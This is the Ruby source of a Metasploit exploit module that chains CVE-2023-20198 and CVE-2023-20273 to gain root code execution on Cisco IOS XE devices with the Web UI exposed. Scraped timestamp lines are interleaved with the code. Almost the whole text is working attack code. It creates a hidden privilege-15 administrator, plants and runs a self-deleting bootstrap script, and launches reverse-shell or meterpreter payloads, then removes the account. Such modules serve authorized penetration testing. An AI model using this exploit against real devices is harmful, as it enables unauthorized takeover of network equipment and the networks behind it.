2023-11-06 17:12:40 +00:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf :: Exploit :: Remote
Rank = ExcellentRanking
include Msf :: Exploit :: Remote :: HTTP :: CiscoIosXe
include Msf :: Exploit :: Remote :: HttpClient
include Msf :: Exploit :: Retry
prepend Msf :: Exploit :: Remote :: AutoCheck
def initialize ( info = { } )
super (
update_info (
info ,
'Name' = > 'Cisco IOX XE Unauthenticated RCE Chain' ,
'Description' = > %q{
This module leverages both CVE-2023-20198 and CVE-2023-20273 against vulnerable instances of Cisco IOS XE
devices which have the Web UI exposed. An attacker can execute a payload with root privileges.
The vulnerable IOS XE versions are:
16.1.1, 16.1.2, 16.1.3, 16.2.1, 16.2.2, 16.3.1, 16.3.2, 16.3.3, 16.3.1a, 16.3.4,
16.3.5, 16.3.5b, 16.3.6, 16.3.7, 16.3.8, 16.3.9, 16.3.10, 16.3.11, 16.4.1, 16.4.2,
16.4.3, 16.5.1, 16.5.1a, 16.5.1b, 16.5.2, 16.5.3, 16.6.1, 16.6.2, 16.6.3, 16.6.4,
16.6.5, 16.6.4s, 16.6.4a, 16.6.5a, 16.6.6, 16.6.5b, 16.6.7, 16.6.7a, 16.6.8, 16.6.9,
16.6.10, 16.7.1, 16.7.1a, 16.7.1b, 16.7.2, 16.7.3, 16.7.4, 16.8.1, 16.8.1a, 16.8.1b,
16.8.1s, 16.8.1c, 16.8.1d, 16.8.2, 16.8.1e, 16.8.3, 16.9.1, 16.9.2, 16.9.1a, 16.9.1b,
16.9.1s, 16.9.1c, 16.9.1d, 16.9.3, 16.9.2a, 16.9.2s, 16.9.3h, 16.9.4, 16.9.3s, 16.9.3a,
16.9.4c, 16.9.5, 16.9.5f, 16.9.6, 16.9.7, 16.9.8, 16.9.8a, 16.9.8b, 16.9.8c, 16.10.1,
16.10.1a, 16.10.1b, 16.10.1s, 16.10.1c, 16.10.1e, 16.10.1d, 16.10.2, 16.10.1f, 16.10.1g,
16.10.3, 16.11.1, 16.11.1a, 16.11.1b, 16.11.2, 16.11.1s, 16.11.1c, 16.12.1, 16.12.1s,
16.12.1a, 16.12.1c, 16.12.1w, 16.12.2, 16.12.1y, 16.12.2a, 16.12.3, 16.12.8, 16.12.2s,
16.12.1x, 16.12.1t, 16.12.2t, 16.12.4, 16.12.3s, 16.12.1z, 16.12.3a, 16.12.4a, 16.12.5,
16.12.6, 16.12.1z1, 16.12.5a, 16.12.5b, 16.12.1z2, 16.12.6a, 16.12.7, 16.12.9, 16.12.10,
17.1.1, 17.1.1a, 17.1.1s, 17.1.2, 17.1.1t, 17.1.3, 17.2.1, 17.2.1r, 17.2.1a, 17.2.1v,
17.2.2, 17.2.3, 17.3.1, 17.3.2, 17.3.3, 17.3.1a, 17.3.1w, 17.3.2a, 17.3.1x, 17.3.1z,
17.3.3a, 17.3.4, 17.3.5, 17.3.4a, 17.3.6, 17.3.4b, 17.3.4c, 17.3.5a, 17.3.5b, 17.3.7,
17.3.8, 17.4.1, 17.4.2, 17.4.1a, 17.4.1b, 17.4.1c, 17.4.2a, 17.5.1, 17.5.1a, 17.5.1b,
17.5.1c, 17.6.1, 17.6.2, 17.6.1w, 17.6.1a, 17.6.1x, 17.6.3, 17.6.1y, 17.6.1z, 17.6.3a,
17.6.4, 17.6.1z1, 17.6.5, 17.6.6, 17.7.1, 17.7.1a, 17.7.1b, 17.7.2, 17.10.1, 17.10.1a,
17.10.1b, 17.8.1, 17.8.1a, 17.9.1, 17.9.1w, 17.9.2, 17.9.1a, 17.9.1x, 17.9.1y, 17.9.3,
17.9.2a, 17.9.1x1, 17.9.3a, 17.9.4, 17.9.1y1, 17.11.1, 17.11.1a, 17.12.1, 17.12.1a,
17.11.99SW
} ,
'License' = > MSF_LICENSE ,
'Author' = > [
'sfewer-r7' , # MSF Exploit
] ,
'References' = > [
[ 'CVE' , '2023-20198' ] ,
[ 'CVE' , '2023-20273' ] ,
# Vendor advisories.
[ 'URL' , 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z' ] ,
[ 'URL' , 'https://blog.talosintelligence.com/active-exploitation-of-cisco-ios-xe-software/' ] ,
# Vendor list of (205) vulnerable versions.
[ 'URL' , 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z/cvrf/cisco-sa-iosxe-webui-privesc-j22SaA4z_cvrf.xml' ] ,
# Technical details on CVE-2023-20198.
[ 'URL' , 'https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-theory-crafting/' ] ,
[ 'URL' , 'https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-deep-dive-and-poc/' ] ,
# Technical details on CVE-2023-20273.
[ 'URL' , 'https://blog.leakix.net/2023/10/cisco-root-privesc/' ] ,
# Full details of a successful exploitation attempt from a honey pot.
[ 'URL' , 'https://gist.github.com/rashimo/a0ef01bc02e5e9fdf46bc4f3b5193cbf' ] ,
] ,
'DisclosureDate' = > '2023-10-16' ,
'Privileged' = > true ,
'Platform' = > %w[ linux unix ] ,
'Arch' = > [ ARCH_CMD ] ,
'Targets' = > [
[
# Tested against IOS XE 16.12.3 and 17.3.2 with the following payloads:
# cmd/linux/http/x64/meterpreter/reverse_tcp
# cmd/linux/http/x64/shell/reverse_tcp
# cmd/linux/http/x86/shell/reverse_tcp
'Linux Command' ,
{
'Platform' = > 'linux' ,
'Arch' = > [ ARCH_CMD ]
} ,
] ,
[
# Tested against IOS XE 16.12.3 and 17.3.2 with the following payloads:
# cmd/unix/python/meterpreter/reverse_tcp
# cmd/unix/reverse_bash
'Unix Command' ,
{
'Platform' = > 'unix' ,
'Arch' = > [ ARCH_CMD ]
} ,
]
] ,
'DefaultTarget' = > 0 ,
'DefaultOptions' = > {
'RPORT' = > 443 ,
'SSL' = > true
} ,
'Notes' = > {
'Stability' = > [ CRASH_SAFE ] ,
'Reliability' = > [ REPEATABLE_SESSION ] ,
'SideEffects' = > [ IOC_IN_LOGS ]
}
)
)
register_options (
[
# We allow a user to specify the VRF name to route traffic for the payloads network transport. The default of
# 'global' should work, but exposing this as an option will allow for usage in more complex network setups.
# A user could leverage the auxiliary module auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198 to
# inspect a devices configuration to see an appropriate VRF to use.
OptString . new ( 'CISCO_VRF_NAME' , [ true , " The virtual routing and forwarding (vrf) name to use. Both 'fwd' or 'global' have been tested to work. " , 'global' ] ) ,
# We may need to try and execute a command a second time if it fails the first time. This option is the maximum
# number of seconds to keep trying.
OptInt . new ( 'CISCO_CMD_TIMEOUT' , [ true , 'The maximum timeout (in seconds) to wait when trying to execute a command.' , 30 ] )
]
)
end
def check
# First, a get request to the root of the Web UI, this lets us verify the target is a Cisco IOS XE device with
# the Web UI exposed (which is the vulnerable component).
res = send_request_cgi (
'method' = > 'GET' ,
'uri' = > normalize_uri ( 'webui' )
)
return CheckCode :: Unknown ( 'Connection failed' ) unless res
# We look for one of two identifiers to ensure the request to /webui above returns something with Cisco in the content.
if res . code != 200 || ( ! res . body . include? ( 'Cisco Systems, Inc.' ) || ! res . headers [ 'Content-Security-Policy' ] & . include? ( 'cisco.com' ) )
return CheckCode :: Unknown ( 'Web UI not detected' )
end
# By here we know the target is the IOS XE Web UI. We leverage the vulnerability to pull out the version number,
# so if this request succeeds, then we known the target is vulnerable.
res = run_cli_command ( 'show version' , Mode :: PRIVILEGED_EXEC )
# If the above request failed, then the target is safe.
return CheckCode :: Safe unless res
version = 'Cisco IOS XE Software'
# If we can pull out the version number via a regex, we do. If this fails, the target is still vulnerable
# (as the above call to run_cli_command succeeded), however maybe this firmware version uses a different format
# for the version information so our regex wont work.
# Note: Version numbers can have letters in them, e.g. 17.11.99SW or 16.12.1z2
2023-11-07 09:21:04 +00:00
if res =~ / (Cisco IOS XE Software, Version \ S+ \ . \ S+ \ . \ S+) /
2023-11-06 17:12:40 +00:00
version = Regexp . last_match ( 1 )
end
CheckCode :: Vulnerable ( version )
end
def exploit
admin_username = rand_text_alpha ( 8 )
admin_password = rand_text_alpha ( 8 )
# Leverage CVE-2023-20198 to run an arbitrary CLI command and create a new admin user account.
unless run_cli_command ( " username #{ admin_username } privilege 15 secret #{ admin_password } " , Mode :: GLOBAL_CONFIGURATION )
fail_with ( Failure :: UnexpectedReply , 'Failed to create admin user' )
end
begin
print_status ( " Created privilege 15 user ' #{ admin_username } ' with password ' #{ admin_password } ' " )
# Leverage CVE-2023-20273 to run an arbitrary OS commands and bootstrap a Metasploit payload...
# A shell script to execute the Metasploit payload. Will delete itself upon execution.
bootstrap_script = " # !/bin/sh \n rm -f $0 \n #{ payload . encoded } "
# The location of our bootstrap script.
bootstrap_file = " /tmp/ #{ Rex :: Text . rand_text_alpha ( 8 ) } "
# NOTE: Rather than chaining the commands with a semicolon, we run them separately. This allows version 16.* and
# 17.8 to work as expected. Version 16.* did not work when semi colons were present in the command line.
# Write a script to disk which will execute the Metasploit payload. We base64 encode it to avoid any problems
# with restricted chars, and leverage openssl to decode and write the contents to disk.
success = retry_until_truthy ( timeout : datastore [ 'CISCO_CMD_TIMEOUT' ] ) do
next run_os_command ( " openssl enc -base64 -out #{ bootstrap_file } -d <<< #{ Base64 . strict_encode64 ( bootstrap_script ) } " , admin_username , admin_password )
end
unless success
fail_with ( Failure :: UnexpectedReply , 'Failed to plant the bootstrap file' )
end
# Make the script executable.
success = retry_until_truthy ( timeout : datastore [ 'CISCO_CMD_TIMEOUT' ] ) do
next run_os_command ( " chmod +x #{ bootstrap_file } " , admin_username , admin_password )
end
unless success
fail_with ( Failure :: UnexpectedReply , 'Failed to chmod the bootstrap file' )
end
# Execute our bootstrap script via mcp_chvrf.sh, and with 'global' virtual routing and forwarding (vrf) by
# default. The VRF allows the executed script to route its network traffic back the the framework. The map_chvrf.sh
# scripts wraps a call to /usr/sbin/chvrf, which will conveniently fork the command we supply.
success = retry_until_truthy ( timeout : datastore [ 'CISCO_CMD_TIMEOUT' ] ) do
next run_os_command ( " /usr/binos/conf/mcp_chvrf.sh #{ datastore [ 'CISCO_VRF_NAME' ] } sh #{ bootstrap_file } " , admin_username , admin_password )
end
unless success
fail_with ( Failure :: UnexpectedReply , 'Failed to execute the bootstrap file' )
end
ensure
print_status ( " Removing user ' #{ admin_username } ' " )
# Leverage CVE-2023-20198 to remove the admin account we previously created.
unless run_cli_command ( " no username #{ admin_username } " , Mode :: GLOBAL_CONFIGURATION )
print_warning ( 'Failed to remove user' )
end
end
end
end